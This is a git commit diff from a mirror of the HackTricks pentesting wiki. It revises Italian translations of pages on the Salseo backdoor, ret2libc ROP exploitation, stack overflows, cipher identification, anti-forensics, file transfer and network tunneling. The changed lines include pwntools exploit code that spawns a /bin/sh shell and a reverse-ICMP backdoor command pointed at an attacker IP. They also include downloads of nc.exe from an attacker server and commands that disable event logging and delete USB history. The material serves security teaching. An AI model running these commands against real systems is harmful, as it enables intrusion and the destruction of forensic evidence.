mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/backdoors/salseo.md', 'src/binary-exploitation/rop-retu
This commit is contained in:
Translator
parent
2a7285e45b
commit
db04df174e
@ -284,8 +284,10 @@
|
||||
- [Places to steal NTLM creds](windows-hardening/ntlm/places-to-steal-ntlm-creds.md)
|
||||
- [Lateral Movement](windows-hardening/lateral-movement/README.md)
|
||||
- [AtExec / SchtasksExec](windows-hardening/lateral-movement/atexec.md)
|
||||
- [DCOM Exec](windows-hardening/lateral-movement/dcom-exec.md)
|
||||
- [DCOM Exec](windows-hardening/lateral-movement/dcomexec.md)
|
||||
- [PsExec/Winexec/ScExec](windows-hardening/lateral-movement/psexec-and-winexec.md)
|
||||
- [RDPexec](windows-hardening/lateral-movement/rdpexec.md)
|
||||
- [SCMexec](windows-hardening/lateral-movement/scmexec.md)
|
||||
- [SmbExec/ScExec](windows-hardening/lateral-movement/smbexec.md)
|
||||
- [WinRM](windows-hardening/lateral-movement/winrm.md)
|
||||
- [WmiExec](windows-hardening/lateral-movement/wmiexec.md)
|
||||
@ -299,6 +301,7 @@
|
||||
- [PowerView/SharpView](windows-hardening/basic-powershell-for-pentesters/powerview.md)
|
||||
- [Antivirus (AV) Bypass](windows-hardening/av-bypass.md)
|
||||
- [Cobalt Strike](windows-hardening/cobalt-strike.md)
|
||||
- [Mythic](windows-hardening/mythic.md)
|
||||
|
||||
# 📱 Mobile Pentesting
|
||||
|
||||
|
||||
@ -10,7 +10,7 @@ Compila questi progetti per l'architettura della macchina Windows su cui intendi
|
||||
|
||||
Puoi **selezionare l'architettura** all'interno di Visual Studio nella **scheda "Build" a sinistra** in **"Platform Target".**
|
||||
|
||||
(\*\*Se non riesci a trovare queste opzioni, premi su **"Project Tab"** e poi su **"\<Project Name> Properties"**)
|
||||
(**Se non riesci a trovare queste opzioni, premi su **"Project Tab"** e poi su **"\<Project Name> Properties"**)
|
||||
|
||||
.png>)
|
||||
|
||||
@ -65,7 +65,7 @@ sysctl -w net.ipv4.icmp_echo_ignore_all=0
|
||||
```
|
||||
python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"
|
||||
```
|
||||
#### All'interno della vittima, eseguiamo la cosa salseo:
|
||||
#### Dentro della vittima, eseguiamo la cosa salseo:
|
||||
```
|
||||
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
|
||||
```
|
||||
@ -99,7 +99,7 @@ Premi **Disinstalla** (sì, è strano ma fidati, è necessario)
|
||||
|
||||
Basta **uscire** da Visual Studio
|
||||
|
||||
Poi, vai nella tua **cartella SalseoLoader** e **esegui DllExport_Configure.bat**
|
||||
Poi, vai nella tua **cartella SalseoLoader** ed **esegui DllExport_Configure.bat**
|
||||
|
||||
Seleziona **x64** (se intendi usarlo all'interno di una box x64, questo era il mio caso), seleziona **System.Runtime.InteropServices** (all'interno di **Namespace per DllExport**) e premi **Applica**
|
||||
|
||||
@ -117,15 +117,15 @@ Seleziona **Tipo di output = Class Library** (Progetto --> Proprietà SalseoLoad
|
||||
|
||||
 (1).png>)
|
||||
|
||||
Seleziona **piattaforma x64** (Progetto --> Proprietà SalseoLoader --> Compila --> Target piattaforma = x64)
|
||||
Seleziona **piattaforma x64** (Progetto --> Proprietà SalseoLoader --> Compilazione --> Target piattaforma = x64)
|
||||
|
||||
 (1) (1).png>)
|
||||
|
||||
Per **compilare** la soluzione: Compila --> Compila soluzione (All'interno della console di output apparirà il percorso della nuova DLL)
|
||||
|
||||
### Testa il Dll generato
|
||||
### Testa la DLL generata
|
||||
|
||||
Copia e incolla il Dll dove vuoi testarlo.
|
||||
Copia e incolla la DLL dove vuoi testarla.
|
||||
|
||||
Esegui:
|
||||
```
|
||||
|
||||
@ -83,14 +83,14 @@ log.info("Puts plt: " + hex(PUTS_PLT))
|
||||
log.info("pop rdi; ret gadget: " + hex(POP_RDI))
|
||||
```
|
||||
Il `PUTS_PLT` è necessario per chiamare la **funzione puts**.\
|
||||
Il `MAIN_PLT` è necessario per richiamare di nuovo la **funzione main** dopo un'interazione per **sfruttare** nuovamente il overflow **(giri infiniti di sfruttamento)**. **Viene utilizzato alla fine di ogni ROP per richiamare di nuovo il programma**.\
|
||||
Il `MAIN_PLT` è necessario per richiamare di nuovo la **funzione main** dopo un'interazione per **sfruttare** nuovamente il buffer overflow (giri infiniti di sfruttamento). **Viene utilizzato alla fine di ogni ROP per richiamare di nuovo il programma**.\
|
||||
Il **POP_RDI** è necessario per **passare** un **parametro** alla funzione chiamata.
|
||||
|
||||
In questo passaggio non è necessario eseguire nulla poiché tutto sarà trovato da pwntools durante l'esecuzione.
|
||||
|
||||
## 3- Trovare la libreria libc
|
||||
|
||||
Ora è il momento di scoprire quale versione della **libc** viene utilizzata. Per farlo, andremo a **leak** l'**indirizzo** in memoria della **funzione** `puts` e poi andremo a **cercare** in quale **versione della libreria** si trova la versione di puts in quell'indirizzo.
|
||||
Ora è il momento di scoprire quale versione della libreria **libc** viene utilizzata. Per farlo, andremo a **leak** l'**indirizzo** in memoria della **funzione** `puts` e poi andremo a **cercare** in quale **versione della libreria** si trova la versione di puts in quell'indirizzo.
|
||||
```python
|
||||
def get_addr(func_name):
|
||||
FUNC_GOT = elf.got[func_name]
|
||||
@ -123,7 +123,7 @@ Per fare ciò, la linea più importante del codice eseguito è:
|
||||
```python
|
||||
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
|
||||
```
|
||||
Questo invierà alcuni byte fino a quando **sovrascrivere** il **RIP** non sarà possibile: `OFFSET`.\
|
||||
Questo invierà alcuni byte fino a quando **sovrascrivere** il **RIP** sarà possibile: `OFFSET`.\
|
||||
Poi, imposterà l'**indirizzo** del gadget `POP_RDI` in modo che il prossimo indirizzo (`FUNC_GOT`) sarà salvato nel registro **RDI**. Questo perché vogliamo **chiamare puts** **passandogli** l'**indirizzo** di `PUTS_GOT` poiché l'indirizzo in memoria della funzione puts è salvato nell'indirizzo puntato da `PUTS_GOT`.\
|
||||
Dopo di che, verrà chiamato `PUTS_PLT` (con `PUTS_GOT` all'interno del **RDI**) in modo che puts **legga il contenuto** all'interno di `PUTS_GOT` (**l'indirizzo della funzione puts in memoria**) e **lo stampi**.\
|
||||
Infine, **la funzione main viene chiamata di nuovo** così possiamo sfruttare di nuovo il buffer overflow.
|
||||
@ -132,7 +132,7 @@ In questo modo abbiamo **ingannato la funzione puts** per **stampare** l'**indir
|
||||
|
||||
.png>)
|
||||
|
||||
Poiché stiamo **sfruttando** un **binario locale**, **non è necessario** capire quale versione di **libc** viene utilizzata (basta trovare la libreria in `/lib/x86_64-linux-gnu/libc.so.6`).\
|
||||
Poiché stiamo **sfruttando** un **binario** **locale**, **non è necessario** capire quale versione di **libc** viene utilizzata (basta trovare la libreria in `/lib/x86_64-linux-gnu/libc.so.6`).\
|
||||
Ma, in un caso di exploit remoto, spiegherò qui come puoi trovarlo:
|
||||
|
||||
### 3.1- Ricerca della versione di libc (1)
|
||||
@ -198,7 +198,7 @@ log.info("libc base @ %s" % hex(libc.address))
|
||||
> [!NOTE]
|
||||
> Nota che **l'indirizzo base finale di libc deve terminare in 00**. Se non è il tuo caso, potresti aver rivelato una libreria errata.
|
||||
|
||||
Quindi, l'indirizzo della funzione `system` e l'**indirizzo** della stringa _"/bin/sh"_ verranno **calcolati** dall'**indirizzo base** di **libc** e forniti dalla **libreria libc.**
|
||||
Quindi, l'indirizzo della funzione `system` e l'**indirizzo** della stringa _"/bin/sh"_ verranno **calcolati** dall'**indirizzo base** di **libc** e data la **libreria libc.**
|
||||
```python
|
||||
BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
|
||||
SYSTEM = libc.sym["system"]
|
||||
@ -207,7 +207,7 @@ EXIT = libc.sym["exit"]
|
||||
log.info("bin/sh %s " % hex(BINSH))
|
||||
log.info("system %s " % hex(SYSTEM))
|
||||
```
|
||||
Infine, l'exploit per l'esecuzione di /bin/sh verrà preparato e inviato:
|
||||
Infine, l'exploit di esecuzione /bin/sh verrà preparato e inviato:
|
||||
```python
|
||||
rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)
|
||||
|
||||
@ -219,15 +219,15 @@ p.interactive() #Interact with the conenction
|
||||
```
|
||||
Spieghiamo questo ROP finale.\
|
||||
L'ultimo ROP (`rop1`) ha chiamato di nuovo la funzione main, quindi possiamo **sfruttare di nuovo** il **overflow** (ecco perché l'`OFFSET` è qui di nuovo). Poi, vogliamo chiamare `POP_RDI` puntando all'**indirizzo** di _"/bin/sh"_ (`BINSH`) e chiamare la funzione **system** (`SYSTEM`) perché l'indirizzo di _"/bin/sh"_ sarà passato come parametro.\
|
||||
Infine, l'**indirizzo della funzione exit** è **chiamato** in modo che il processo **esca in modo ordinato** e non venga generato alcun avviso.
|
||||
Infine, l'**indirizzo della funzione exit** è **chiamato** in modo che il processo **termini correttamente** e non venga generato alcun avviso.
|
||||
|
||||
**In questo modo l'exploit eseguirà una \_/bin/sh**\_\*\* shell.\*\*
|
||||
**In questo modo l'exploit eseguirà una shell _/bin/sh_.**
|
||||
|
||||
.png>)
|
||||
|
||||
## 4(2)- Utilizzando ONE_GADGET
|
||||
|
||||
Puoi anche usare [**ONE_GADGET** ](https://github.com/david942j/one_gadget) per ottenere una shell invece di usare **system** e **"/bin/sh". ONE_GADGET** troverà all'interno della libreria libc qualche modo per ottenere una shell usando solo un **indirizzo ROP**.\
|
||||
Potresti anche usare [**ONE_GADGET** ](https://github.com/david942j/one_gadget) per ottenere una shell invece di usare **system** e **"/bin/sh". ONE_GADGET** troverà all'interno della libreria libc qualche modo per ottenere una shell usando solo un **indirizzo ROP**.\
|
||||
Tuttavia, normalmente ci sono alcune restrizioni, le più comuni e facili da evitare sono come `[rsp+0x30] == NULL`. Poiché controlli i valori all'interno del **RSP**, devi solo inviare alcuni valori NULL in più in modo che la restrizione venga evitata.
|
||||
|
||||
.png>)
|
||||
@ -253,7 +253,7 @@ objdump -d vuln_binary | grep "\.text"
|
||||
Disassembly of section .text:
|
||||
0000000000401080 <.text>:
|
||||
```
|
||||
e impostare l'indirizzo manualmente:
|
||||
e imposta l'indirizzo manualmente:
|
||||
```python
|
||||
MAIN_PLT = 0x401080
|
||||
```
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## Che cos'è uno Stack Overflow
|
||||
|
||||
Un **stack overflow** è una vulnerabilità che si verifica quando un programma scrive più dati nello stack di quanti ne siano stati allocati per contenerli. Questi dati in eccesso **sovrascriveranno lo spazio di memoria adiacente**, portando alla corruzione di dati validi, alla disruption del flusso di controllo e potenzialmente all'esecuzione di codice malevolo. Questo problema si verifica spesso a causa dell'uso di funzioni non sicure che non eseguono il controllo dei limiti sugli input.
|
||||
Un **stack overflow** è una vulnerabilità che si verifica quando un programma scrive più dati nello stack di quanti ne siano allocati per contenerli. Questi dati in eccesso **sovrascriveranno lo spazio di memoria adiacente**, portando alla corruzione di dati validi, alla disruption del flusso di controllo e potenzialmente all'esecuzione di codice malevolo. Questo problema si verifica spesso a causa dell'uso di funzioni non sicure che non eseguono il controllo dei limiti sugli input.
|
||||
|
||||
Il problema principale di questa sovrascrittura è che il **puntatore di istruzione salvato (EIP/RIP)** e il **puntatore di base salvato (EBP/RBP)** per tornare alla funzione precedente sono **memorizzati nello stack**. Pertanto, un attaccante sarà in grado di sovrascrivere questi e **controllare il flusso di esecuzione del programma**.
|
||||
|
||||
@ -25,7 +25,7 @@ printf("You entered: %s\n", buffer);
|
||||
|
||||
Il modo più comune per trovare gli stack overflow è fornire un input molto grande di `A`s (ad esempio `python3 -c 'print("A"*1000)'`) e aspettarsi un `Segmentation Fault` che indica che l'**indirizzo `0x41414141` è stato tentato di essere accesso**.
|
||||
|
||||
Inoltre, una volta trovata la vulnerabilità di Stack Overflow, sarà necessario trovare l'offset fino a quando non sarà possibile **sovrascrivere l'indirizzo di ritorno**, per questo si usa solitamente una **sequenza di De Bruijn.** Che per un dato alfabeto di dimensione _k_ e sottosequenze di lunghezza _n_ è una **sequenza ciclica in cui ogni possibile sottosequenza di lunghezza \_n**\_\*\* appare esattamente una volta\*\* come sottosequenza contigua.
|
||||
Inoltre, una volta trovata la vulnerabilità di Stack Overflow, sarà necessario trovare l'offset fino a quando non sarà possibile **sovrascrivere l'indirizzo di ritorno**; per questo si usa solitamente una **sequenza di De Bruijn.** Che per un dato alfabeto di dimensione _k_ e sottosequenze di lunghezza _n_ è una **sequenza ciclica in cui ogni possibile sottosequenza di lunghezza _n_ appare esattamente una volta** come sottosequenza contigua.
|
||||
|
||||
In questo modo, invece di dover capire manualmente quale offset è necessario per controllare l'EIP, è possibile utilizzare come padding una di queste sequenze e poi trovare l'offset dei byte che hanno finito per sovrascriverlo.
|
||||
|
||||
|
||||
@ -19,13 +19,13 @@
|
||||
## Magic Autosolvers
|
||||
|
||||
- [**https://github.com/Ciphey/Ciphey**](https://github.com/Ciphey/Ciphey)
|
||||
- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) (Modulo Magico)
|
||||
- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) (modulo Magico)
|
||||
- [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
|
||||
- [https://www.boxentriq.com/code-breaking](https://www.boxentriq.com/code-breaking)
|
||||
|
||||
## Encoders
|
||||
|
||||
La maggior parte dei dati codificati può essere decifrata con queste 2 risorse:
|
||||
La maggior parte dei dati codificati può essere decodificata con queste 2 risorse:
|
||||
|
||||
- [https://www.dcode.fr/tools-list](https://www.dcode.fr/tools-list)
|
||||
- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
|
||||
@ -184,15 +184,15 @@ Lettere al loro valore numerico
|
||||
```
|
||||
### Affine Cipher Encode
|
||||
|
||||
Lettera a numero `(ax+b)%26` (_a_ e _b_ sono le chiavi e _x_ è la lettera) e il risultato di nuovo in lettera
|
||||
Lettera a numero `(ax+b)%26` (_a_ e _b_ sono le chiavi e _x_ è la lettera) e il risultato torna a lettera
|
||||
```
|
||||
krodfdudfrod
|
||||
```
|
||||
### SMS Code
|
||||
|
||||
**Multitap** [sostituisce una lettera](https://www.dcode.fr/word-letter-change) con cifre ripetute definite dal corrispondente codice chiave su una [tastiera del telefono](https://www.dcode.fr/phone-keypad-cipher) (Questo modo è usato quando si scrivono SMS).\
|
||||
**Multitap** [replaces a letter](https://www.dcode.fr/word-letter-change) con cifre ripetute definite dal codice chiave corrispondente su una [tastiera del telefono](https://www.dcode.fr/phone-keypad-cipher) (Questo modo è usato quando si scrivono SMS).\
|
||||
Ad esempio: 2=A, 22=B, 222=C, 3=D...\
|
||||
Puoi identificare questo codice perché vedrai\*\* diversi numeri ripetuti\*\*.
|
||||
Puoi identificare questo codice perché vedrai **diversi numeri ripetuti**.
|
||||
|
||||
Puoi decodificare questo codice in: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher)
|
||||
|
||||
|
||||
@ -79,7 +79,7 @@ Controlla tutte queste basi con: [https://github.com/dhondta/python-codext](http
|
||||
- `BQ%]q@psCd@rH0l`
|
||||
- **Base85 (Adobe)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
|
||||
- `<~BQ%]q@psCd@rH0l~>`
|
||||
- **Base85 (IPv6 o RFC1924)** \[_0-9A-Za-z!#$%&()\*+-;<=>?@^_\`{|}\~\_]
|
||||
- **Base85 (IPv6 or RFC1924)** \[_0-9A-Za-z!#$%&()\*+-;<=>?@^_\`{|}\~\_]
|
||||
- `Xm4y`V\_|Y(V{dF>\`
|
||||
- **Base85 (xbtoa)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
|
||||
- `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d`
|
||||
@ -174,7 +174,7 @@ ryvkryvkryvkryvkryvkryvkryvk
|
||||
```
|
||||
drnajapajrna
|
||||
```
|
||||
- [https://www.geocachingtoolbox.com/index.php?lang=it\&page=dvorakKeyboard](https://www.geocachingtoolbox.com/index.php?lang=it&page=dvorakKeyboard)
|
||||
- [https://www.geocachingtoolbox.com/index.php?lang=en\&page=dvorakKeyboard](https://www.geocachingtoolbox.com/index.php?lang=en&page=dvorakKeyboard)
|
||||
|
||||
### A1Z26
|
||||
|
||||
@ -184,15 +184,15 @@ Lettere al loro valore numerico
|
||||
```
|
||||
### Affine Cipher Encode
|
||||
|
||||
Lettera a numero `(ax+b)%26` (_a_ e _b_ sono le chiavi e _x_ è la lettera) e il risultato torna a lettera
|
||||
Lettera a numero `(ax+b)%26` (_a_ e _b_ sono le chiavi e _x_ è la lettera) e il risultato di nuovo in lettera
|
||||
```
|
||||
krodfdudfrod
|
||||
```
|
||||
### SMS Code
|
||||
|
||||
**Multitap** [sostituisce una lettera](https://www.dcode.fr/word-letter-change) con cifre ripetute definite dal corrispondente codice chiave su una [tastiera del telefono](https://www.dcode.fr/phone-keypad-cipher) (Questa modalità è utilizzata quando si scrivono SMS).\
|
||||
**Multitap** [sostituisce una lettera](https://www.dcode.fr/word-letter-change) con cifre ripetute definite dal corrispondente codice del tasto su una [tastiera del telefono](https://www.dcode.fr/phone-keypad-cipher) (Questo modo è usato quando si scrivono SMS).\
|
||||
Ad esempio: 2=A, 22=B, 222=C, 3=D...\
|
||||
Puoi identificare questo codice perché vedrai\*\* diversi numeri ripetuti\*\*.
|
||||
Puoi identificare questo codice perché vedrai** diversi numeri ripetuti**.
|
||||
|
||||
Puoi decodificare questo codice in: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher)
|
||||
|
||||
|
||||
@ -3,7 +3,7 @@
|
||||
# Timestamp
|
||||
|
||||
Un attaccante potrebbe essere interessato a **cambiare i timestamp dei file** per evitare di essere rilevato.\
|
||||
È possibile trovare i timestamp all'interno del MFT negli attributi `$STANDARD_INFORMATION` ** e ** `$FILE_NAME`.
|
||||
È possibile trovare i timestamp all'interno del MFT negli attributi `$STANDARD_INFORMATION` **e** `$FILE_NAME`.
|
||||
|
||||
Entrambi gli attributi hanno 4 timestamp: **Modifica**, **accesso**, **creazione** e **modifica del registro MFT** (MACE o MACB).
|
||||
|
||||
@ -52,7 +52,7 @@ Questo strumento può modificare entrambi gli attributi `$STARNDAR_INFORMATION`
|
||||
|
||||
# Nascondere dati
|
||||
|
||||
NFTS utilizza un cluster e la dimensione minima delle informazioni. Ciò significa che se un file occupa un cluster e mezzo, il **mezzo rimanente non verrà mai utilizzato** fino a quando il file non viene eliminato. Quindi, è possibile **nascondere dati in questo spazio di slack**.
|
||||
NFTS utilizza un cluster e la dimensione minima delle informazioni. Ciò significa che se un file occupa e utilizza un cluster e mezzo, il **mezzo rimanente non verrà mai utilizzato** fino a quando il file non viene eliminato. Quindi, è possibile **nascondere dati in questo spazio di slack**.
|
||||
|
||||
Ci sono strumenti come slacker che consentono di nascondere dati in questo spazio "nascosto". Tuttavia, un'analisi del `$logfile` e del `$usnjrnl` può mostrare che alcuni dati sono stati aggiunti:
|
||||
|
||||
@ -63,7 +63,7 @@ Quindi, è possibile recuperare lo spazio di slack utilizzando strumenti come FT
|
||||
# UsbKill
|
||||
|
||||
Questo è uno strumento che **spegnerà il computer se viene rilevata qualsiasi modifica nelle porte USB**.\
|
||||
Un modo per scoprirlo sarebbe ispezionare i processi in esecuzione e **esaminare ogni script python in esecuzione**.
|
||||
Un modo per scoprirlo sarebbe ispezionare i processi in esecuzione e **rivedere ogni script python in esecuzione**.
|
||||
|
||||
# Distribuzioni Linux Live
|
||||
|
||||
@ -96,21 +96,21 @@ Questo salverà informazioni sulle applicazioni eseguite con l'obiettivo di migl
|
||||
- Selezionare Modifica su ciascuno di questi per cambiare il valore da 1 (o 3) a 0
|
||||
- Riavviare
|
||||
|
||||
## Disabilitare i timestamp - Ultimo tempo di accesso
|
||||
## Disabilitare i timestamp - Ultimo accesso
|
||||
|
||||
Ogni volta che una cartella viene aperta da un volume NTFS su un server Windows NT, il sistema impiega tempo per **aggiornare un campo di timestamp su ciascuna cartella elencata**, chiamato ultimo tempo di accesso. Su un volume NTFS molto utilizzato, questo può influire sulle prestazioni.
|
||||
Ogni volta che una cartella viene aperta da un volume NTFS su un server Windows NT, il sistema impiega tempo per **aggiornare un campo di timestamp su ciascuna cartella elencata**, chiamato ultimo accesso. Su un volume NTFS molto utilizzato, questo può influire sulle prestazioni.
|
||||
|
||||
1. Aprire l'Editor del Registro (Regedit.exe).
|
||||
1. Aprire l'Editor del Registro di sistema (Regedit.exe).
|
||||
2. Navigare a `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`.
|
||||
3. Cercare `NtfsDisableLastAccessUpdate`. Se non esiste, aggiungere questo DWORD e impostare il suo valore su 1, il che disabiliterà il processo.
|
||||
4. Chiudere l'Editor del Registro e riavviare il server.
|
||||
3. Cercare `NtfsDisableLastAccessUpdate`. Se non esiste, aggiungere questo DWORD e impostare il suo valore su 1, che disabiliterà il processo.
|
||||
4. Chiudere l'Editor del Registro di sistema e riavviare il server.
|
||||
|
||||
## Eliminare la cronologia USB
|
||||
|
||||
Tutti gli **USB Device Entries** sono memorizzati nel Registro di Windows sotto la chiave di registro **USBSTOR** che contiene sottochiavi create ogni volta che si collega un dispositivo USB al PC o Laptop. Puoi trovare questa chiave qui `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Eliminando questo** eliminerai la cronologia USB.\
|
||||
Tutti i **USB Device Entries** sono memorizzati nel Registro di Windows sotto la chiave di registro **USBSTOR** che contiene sottochiavi create ogni volta che si collega un dispositivo USB al PC o Laptop. Puoi trovare questa chiave qui `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Eliminando questo** eliminerai la cronologia USB.\
|
||||
Puoi anche utilizzare lo strumento [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) per essere sicuro di averle eliminate (e per eliminarle).
|
||||
|
||||
Un altro file che salva informazioni sugli USB è il file `setupapi.dev.log` all'interno di `C:\Windows\INF`. Questo dovrebbe essere eliminato.
|
||||
Un altro file che salva informazioni sugli USB è il file `setupapi.dev.log` all'interno di `C:\Windows\INF`. Questo dovrebbe essere eliminato anche.
|
||||
|
||||
## Disabilitare le copie shadow
|
||||
|
||||
@ -121,9 +121,9 @@ Puoi anche eliminarle tramite GUI seguendo i passaggi proposti in [https://www.u
|
||||
|
||||
Per disabilitare le copie shadow [passaggi da qui](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows):
|
||||
|
||||
1. Apri il programma Servizi digitando "servizi" nella casella di ricerca dopo aver cliccato sul pulsante di avvio di Windows.
|
||||
2. Dall'elenco, trova "Volume Shadow Copy", selezionalo e poi accedi alle Proprietà facendo clic con il tasto destro.
|
||||
3. Scegli Disabilitato dal menu a discesa "Tipo di avvio" e poi conferma la modifica facendo clic su Applica e OK.
|
||||
1. Aprire il programma Servizi digitando "servizi" nella casella di ricerca dopo aver cliccato sul pulsante di avvio di Windows.
|
||||
2. Dall'elenco, trovare "Volume Shadow Copy", selezionarlo e quindi accedere alle Proprietà facendo clic con il tasto destro.
|
||||
3. Scegliere Disabilitato dal menu a discesa "Tipo di avvio" e quindi confermare la modifica facendo clic su Applica e OK.
|
||||
|
||||
È anche possibile modificare la configurazione di quali file verranno copiati nella copia shadow nel registro `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot`
|
||||
|
||||
@ -141,7 +141,7 @@ Per disabilitare le copie shadow [passaggi da qui](https://support.waters.com/KB
|
||||
## Disabilitare i registri eventi di Windows
|
||||
|
||||
- `reg add 'HKLM\SYSTEM\CurrentControlSet\Services\eventlog' /v Start /t REG_DWORD /d 4 /f`
|
||||
- All'interno della sezione servizi disabilita il servizio "Windows Event Log"
|
||||
- All'interno della sezione servizi disabilitare il servizio "Windows Event Log"
|
||||
- `WEvtUtil.exec clear-log` o `WEvtUtil.exe cl`
|
||||
|
||||
## Disabilitare $UsnJrnl
|
||||
|
||||
@ -42,7 +42,7 @@ Start-BitsTransfer -Source $url -Destination $output
|
||||
#OR
|
||||
Start-BitsTransfer -Source $url -Destination $output -Asynchronous
|
||||
```
|
||||
### Caricamento file
|
||||
### Carica file
|
||||
|
||||
- [**SimpleHttpServerWithFileUploads**](https://gist.github.com/UniIsland/3346170)
|
||||
- [**SimpleHttpServer che stampa GET e POST (anche intestazioni)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149)
|
||||
@ -102,7 +102,7 @@ app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
|
||||
```
|
||||
## FTP
|
||||
|
||||
### Server FTP (python)
|
||||
### FTP server (python)
|
||||
```bash
|
||||
pip3 install pyftpdlib
|
||||
python3 -m pyftpdlib -p 21
|
||||
@ -248,13 +248,13 @@ cp /path/tp/nc.exe /tftp
|
||||
pip install ptftpd
|
||||
ptftpd -p 69 tap0 . # ptftp -p <PORT> <IFACE> <FOLDER>
|
||||
```
|
||||
In **victima**, connettersi al server Kali:
|
||||
In **victima**, connettiti al server Kali:
|
||||
```bash
|
||||
tftp -i <KALI-IP> get nc.exe
|
||||
```
|
||||
## PHP
|
||||
|
||||
Scarica un file con un PHP oneliner:
|
||||
Scarica un file con un oneliner PHP:
|
||||
```bash
|
||||
echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php
|
||||
```
|
||||
@ -302,7 +302,7 @@ Il programma `debug.exe` non solo consente l'ispezione dei file binari, ma ha an
|
||||
upx -9 nc.exe
|
||||
wine exe2bat.exe nc.exe nc.txt
|
||||
```
|
||||
Quindi copia e incolla il testo nella finestra di comando di Windows e verrà creato un file chiamato nc.exe.
|
||||
Poi copia e incolla il testo nella shell di Windows e verrà creato un file chiamato nc.exe.
|
||||
|
||||
## DNS
|
||||
|
||||
|
||||
@ -1,8 +1,8 @@
|
||||
# Tunneling e Port Forwarding
|
||||
# Tunneling and Port Forwarding
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Suggerimento Nmap
|
||||
## Nmap tip
|
||||
|
||||
> [!WARNING]
|
||||
> **ICMP** e **SYN** scans non possono essere tunnelizzati attraverso proxy socks, quindi dobbiamo **disabilitare la scoperta ping** (`-Pn`) e specificare **scansioni TCP** (`-sT`) affinché questo funzioni.
|
||||
@ -43,7 +43,7 @@ ssh -R 0.0.0.0:10521:10.0.0.1:1521 user@10.0.0.1 #Remote port 1521 accessible in
|
||||
```
|
||||
### Port2Port
|
||||
|
||||
Porta locale --> Host compromesso (SSH) --> Terza_cassa:Port
|
||||
Porta locale --> Host compromesso (SSH) --> Terza_box:Port
|
||||
```bash
|
||||
ssh -i ssh_key <user>@<ip_compromised> -L <attacker_port>:<ip_victim>:<remote_port> [-p <ssh_port>] [-N -f] #This way the terminal is still in your host
|
||||
#Example
|
||||
@ -89,7 +89,7 @@ route add -net 10.0.0.0/16 gw 1.1.1.1
|
||||
```
|
||||
## SSHUTTLE
|
||||
|
||||
Puoi **tunneling** tramite **ssh** tutto il **traffico** verso una **sottorete** attraverso un host.\
|
||||
Puoi **tunnelare** tutto il **traffico** verso una **sottorete** attraverso un host.\
|
||||
Ad esempio, inoltrando tutto il traffico che va a 10.10.10.0/24
|
||||
```bash
|
||||
pip install sshuttle
|
||||
@ -152,15 +152,15 @@ rportfwd stop [bind port]
|
||||
```
|
||||
Da notare:
|
||||
|
||||
- Il reverse port forward di Beacon è progettato per **tunnelare il traffico verso il Team Server, non per il relay tra macchine individuali**.
|
||||
- Il traffico è **tunnelato all'interno del traffico C2 di Beacon**, inclusi i link P2P.
|
||||
- Il reverse port forward di Beacon è progettato per **tunnellare il traffico verso il Team Server, non per il relay tra macchine individuali**.
|
||||
- Il traffico è **tunnellato all'interno del traffico C2 di Beacon**, inclusi i link P2P.
|
||||
- **I privilegi di amministratore non sono richiesti** per creare reverse port forwards su porte alte.
|
||||
|
||||
### rPort2Port locale
|
||||
|
||||
> [!WARNING]
|
||||
> In questo caso, la **porta è aperta nell'host beacon**, non nel Team Server e il **traffico è inviato al client Cobalt Strike** (non al Team Server) e da lì all'host:porta indicato.
|
||||
```
|
||||
```bash
|
||||
rportfwd_local [bind port] [forward host] [forward port]
|
||||
rportfwd_local stop [bind port]
|
||||
```
|
||||
@ -175,7 +175,7 @@ python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/t
|
||||
## Chisel
|
||||
|
||||
Puoi scaricarlo dalla pagina delle release di [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel)\
|
||||
Devi utilizzare la **stessa versione per client e server**
|
||||
Devi usare la **stessa versione per client e server**
|
||||
|
||||
### socks
|
||||
```bash
|
||||
@ -238,7 +238,7 @@ interface_add_route --name "ligolo" --route 240.0.0.1/32
|
||||
[https://github.com/klsecservices/rpivot](https://github.com/klsecservices/rpivot)
|
||||
|
||||
Tunnel inverso. Il tunnel viene avviato dalla vittima.\
|
||||
Viene creato un proxy socks4 su 127.0.0.1:1080
|
||||
Un proxy socks4 viene creato su 127.0.0.1:1080
|
||||
```bash
|
||||
attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080
|
||||
```
|
||||
@ -344,7 +344,7 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
|
